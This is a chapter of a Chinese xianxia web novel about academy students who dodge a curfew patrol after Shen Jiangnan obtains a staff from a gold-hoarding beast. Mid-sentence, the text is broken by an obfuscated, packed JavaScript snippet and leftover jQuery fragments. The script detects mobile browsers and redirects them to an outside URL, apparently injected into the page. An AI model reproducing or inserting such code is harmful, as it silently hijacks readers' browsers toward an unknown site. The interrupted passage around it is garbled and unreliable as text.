沈姜南一开始还觉得上个学堂,发发呆就行,横竖这些内容她早已知晓,可连着七天都是那李长老,她是真有点吃不消。
不知道这李长老是不是与她有仇,不挑睡觉的宋夺,偏偏挑着她这个上课认真的人,虽道理她都懂,但用她在魔界理解来的东西,她真是怕这李老头把交到院主那去。
终于是熬到下堂,沈姜南又又又坐下,她趴在桌子上“他是不是对我有意见啊。”
宋夺凑上来,嘲笑“唉,可能是瞧你太认真,想提拔你,安啦安啦。”
“这福气给宋兄你,要不要。”
“不要。”
沈姜南转而去扯谢子归的衣袖“若明日还是他,还望谢兄帮我告个假,天天被这么盯着我是真的有些吃不消。”
谢子归正整理书卷的动作顿了顿,他垂眼看了看被拽住袖口,轻轻抽回衣袖“不行,这样做,下一个挨盯的就是我了。”
一盘糕点被摆放到桌上,众人抬头望去,意向晚拈起一块递到沈姜南嘴边“听一位师兄说,明日是越长老的课。”
“越长老?”沈姜南就着她的手咬了一口糕,在脑中搜索起姓越的人。
谢子归抬眼“是苍佛氏越家主,越少安。”他顿了顿,补充道:“先前听说他回越家处理家事去了。”
“所以李长老代了他几天课。”
沈姜南吃着糕点,含糊不清地嘟囔“代课?那他怎么专盯着我不放?”
宋夺顺手从意向晚端着的盘子里摸了块糕点,被意向晚轻拍了下手背也不恼,笑嘻嘻道:“说不定李长老就喜欢你这样的学生?我每堂都睡也没见他管我。”
“那是因为你根本不需要教。”谢子归撑着脸看向沈姜南“你的话,嗯,很精辟。”
沈姜南咽下糕点,只觉得喉咙发干,就因为这个她连着受了七天的苦,可这些都是从魔界那边摸爬滚打练出来的野路子,和仙门正统一板一眼的体系根本不是一回事。每次被点名,她要把魔界那套认知生生拧成仙门能接受的说法,几天下来心力交瘁。
“唉,这样能怪我吗?”
谢子归还没答,学堂门口的光线一暗,一个声音插了进来,带着点懒洋洋的笑意“越少安回没回来我不清楚,但李老头看样子是还没折腾够你们。”
众人转头,见一个黄衫男子倚着门框,手里拎着个酒葫芦,正是那位传言里不太着调的苏师兄。他目光在屋里扫了一圈,落在沈姜南脸上,嘴角弯了弯“尤其你啊,沈师妹。刚才下堂,李老头还跟我念叨,说你是个好苗子,就是思路偶尔刁钻得让他头疼,他得再琢磨琢磨怎么掰一掰。”
沈姜南只觉得眼前一黑。
意向晚轻轻啊了一声,柔声道:“苏师兄,你别吓她。”
苏师兄晃了晃酒葫芦,耸肩“我吓她做什么?大实话呗。李老头较真起来,掌门都头疼。”他灌了一口酒,像是忽然想起什么,对着谢子归抬了抬下巴,“哦,对了,谢师弟,差点忘了正事。少安托人带话,说明日他回来,要好好练练你。”
谢子归闻言,皱起眉“怎么又练我。”
“谁知道呢?”苏师兄说完,又晃悠悠地走了。
宋夺倒是乐得很,胳膊肘撞了下谢子归“听见没?越长老回来也要练你,你两难姐难弟啊这是。”
“我两比试比试?”
“这倒不必。”
沈姜南一听还有人与她一样,立马笑道:“唉,终于有人陪我了。”
谢子归手一顿,目光看她,眉毛轻轻一挑“你最好小心点说话。”
“别啊。”沈姜南凑近了些“越长老为什么要练你?你也上课睡觉了?”她怎么看谢子归都不像是会触犯门规的人。
这次没等谢子归开口,宋夺抢着说道:“他?他才不是睡觉。他是压根不爱碰剑,能躲就躲。结果他祖父不知道怎么就知道了,直接给他送了把剑来,还特意请越长老得空指点他。”宋夺模仿着长辈严肃的语气,说完自己先乐了。
谢子归听得愁眉苦脸。
意向晚轻轻点头,声音柔和“越长老剑术超群,是苍佛氏近百年来最有名的剑修之一。能得到他的指点,是很多弟子求之不得的机缘呢。”
“最有名的剑修?”沈姜南的注意力果然被引开了,苍佛氏越家人她见过,但越少安这名字,她听都没听过“他很厉害?那越朔是他谁?”
意向晚抿唇笑了笑:“越朔叔叔是他的父亲,十几年前便已仙逝,越长老的话年少时便以一剑破过现魔尊的百杀阵,名震四方。如今修为更是深不可测了。”
“原来如此。”沈姜南叹了口气,看来找藏金兽的行程得提前了。
趁着次日休沐,她下了山。
沈姜南拐进窄巷,蹲在一处不起眼的墙角,从怀里摸出个小哨,抵在唇边吹响。
片刻,墙角泥土微动,一只圆滚滚,披着暗金色细鳞的小兽钻了出来。
沈姜南掏出几块灵石喂到它嘴边“拿件趁手的兵器给我。”
藏金兽吞下灵石点点头,很快掏出五六件物件摆在地上,沈姜南摇了摇头,又喂了点灵石“要棍子那样的。”
小兽眨眨眼,钻回地底,半晌才出来,豆大的眼睛亮晶晶的,嘴里叼着一根长棍。
“辛苦啦。”沈姜南接过长棍,摸了摸那小兽的脑袋,塞过去一袋灵石。小兽蹭蹭她的手指,叼着袋子飞快地钻回地底。
她低着头,掂量两下,心中稍安,虽比不过天照,但能用。
在山下磨蹭了一会儿,她才匆匆往回赶。赶到书院高墙外时,大门紧闭,天已彻底黑透,沈姜南暗叫不妙,绕着高墙走了半圈,寻了处树木茂盛的隐蔽角落,搓搓手,准备攀上去。
刚扒住墙头,就听见底下传来压低的声响。
“你能不能快点儿?”
“别催,你以为我不想快点嘛。”
沈姜南探头往下瞧,忍不住乐了。墙根底下,谢子归正踩在宋夺的肩上,宋夺龇牙咧嘴地撑着。三人六目相对,场面一时有些滑稽。
“哟,凑齐了?”沈姜南趴在墙头,小声调侃。
谢子归没理她,借力一跃,轻巧地翻上墙头,他站稳后,极其自然地朝她伸出手。
沈姜南愣了一下,还是抓住他的手。他的手心干燥温热,稍一用力就把她也拉了上去。宋夺在下面急得跳脚“喂!还有我呢!”
两人刚要回头拉他,旁边小径上亮起一团柔和的光晕。意向晚微微睁大了眼睛看着墙头上的两人和墙下蹦跶的宋夺,连忙将灯熄灭“怎么都在这里?今晚可是叶长老亲自带队查夜。”
四人面面相觑。
瞧他们三呆着,意向晚果断道:“先回院子。
可惜运气不佳,刚绕出小林,前方石径上便行来一队人,为首女子身着执法长老的月白服制,身姿挺拔,面容肃然,看着四人“违反门禁,私自翻墙。你们几个,倒是很有闲情逸致。”
几乎在声音响起的瞬间,谢子归喊道:“快跑。”
四人立刻发力狂奔。沈姜南对路径不熟,全凭谢子归扯着她手腕左拐右绕。宋夺被意向晚拉着跟在后面,喘得上气不接下气“慢点!”
“再慢就被抓了。”谢子归拽着沈姜南跑到一矮墙旁“翻过去。”
沈姜南被他几乎是甩了过去,落地时顺势一滚消力,谢子归和意向晚,宋夺紧接着翻过,四人挤在矮墙下的阴影里,屏住呼吸。
墙外脚步声逼近,叶舒玉的声音想起“搜这边。方才动静是从这传来。”
脚步声渐远。
宋夺抚着胸口大口喘气,刚要说话,意向晚立马捂住他的嘴。
墙外,叶舒玉的声音去而复返“看来真不在这,去别处看看。”
安静了一会,四人瞧再没声响,都松了一口气,谢子归整理了一下衣袍“要是告到我父亲那去。”他冲宋夺一笑“好兄弟你就等着吧。”
宋夺直呼冤枉“谁叫我长得风流倜傥,魅力太大没办
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496162|185953||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法啊。”
意向晚道:“什么?”
宋夺“……”
“啊,得了,得了,想办法回院子那边吧。”沈姜南无奈道。
意向晚,弯起腰往四周瞧了瞧,又蹲下来“这边是后山,离我们那边还挺远的。”
“那再等会吧,说不定他们在那等着我们呢。”宋夺打开折扇开始扇风“哎,意小姐怎么也在这边。”
“我来这边练琵琶。”
“原来如此,我还以为你和我们一样错过门禁。”
谢子归把玩着手腕上的那条红绳铃铛手串,闻言看向沈姜南“你怎么也晚归了?”
“去淘兵器,挑得入迷便回来晚了。”她拿出长棍。
宋夺凑过来一看“断潮棍?手气不错啊。”
“山下随便挑的。”沈姜南含糊道,将棍子别到身后。
谢子归压低声音“别出声。”
远处隐约传来脚步声,还有隐约的灵火晃动。四人立刻缩回阴影里,屏住呼吸。
意向晚小声道:“是叶长老她们……好像往这边来了。”
宋夺哀叹一声“不是吧,还没放弃?”
“不然怎么会在学院那么出名。”谢子归眉头微蹙“得换个地方躲。”
然已经来不及了。脚步声越来越近,叶舒玉的声音越来越近“去那边看看,仔细搜查。”
四人面面相觑,这下真是无处可逃了。
就在这紧张时刻,意向晚小声道:“我知道有个地方可以躲一下。”她指了指不远处“后面有个小山洞,平时很少人知道。”
别无选择,他们跟着意向晚很快钻进了一片浓密的树丛后。果然,岩壁上有一个不起眼的入口,刚好容一人通过。
刚挤进洞内,就听见外面传来执法弟子的声音“长老,这边没有发现。”
叶舒玉的声音带着些许不悦:“继续搜,他们肯定就在这附近。”
脚步声渐远,洞内的四人终于松了口气。
“意姑娘,你可真是我们的救星。”宋夺由衷地说道,擦了擦额角的汗。
意向晚扫了他一眼“只是偶然发现过这里……”
谢子归打量着这个不大的洞穴“看来得在这里等一会儿了。”
沈姜南靠在岩壁上,忽然觉得手心一阵刺痛。抬手一看,才发现刚才翻墙时擦破了皮,渗出血丝。
“怎么了?”谢子归注意到她的动作。
“没什么,蹭破点皮。”她不在意地说。
意向晚从袖中取出一个小瓷瓶“我这里有伤药,效果很好。”她轻轻拉过沈姜南的手,小心地为她上药。
宋夺在一旁看得直咂嘴“意姑娘真是贴心,怎么不见你对我这么好啊?”
意向晚头也不抬“若是宋公子哪天不惹事生非,我或许也会对你体贴些。”
谢子归轻笑一声,换来宋夺一记白眼。
药膏清凉舒适,沈姜南感到疼痛顿时减轻许多。“谢谢。”她小声说。
意向晚微笑摇头:“不必客气。”
洞内一时安静下来。
“看来今晚是回不去了。”宋打一屁股坐在地上“要是被逮到,我爹非扒了我的皮不可。”
谢子归注意力从洞口移开:“若是被逮到,你担心的不该只有宋叔叔。”
“什么意思?”宋夺问。
“意思是你最好祈祷我们能安全回去。”谢子归大有一副,要大义灭亲的模样“要不然我不介意亲自向宋叔叔说明,你是如何带领我们违反门规的。”
宋夺顿时语塞。
沈姜南忍不住笑出声,又赶紧捂住嘴。
意向晚小声劝道:“你们别吵了,当心把长老引过来。”
这话比什么都管用,两人立刻安静下来。
时间一点点过去,洞外终于彻底安静下来。谢子归小心地探出头去观察片刻,回头道:“应该安全了。”
四人立马冲了出来,飞速奔向院子。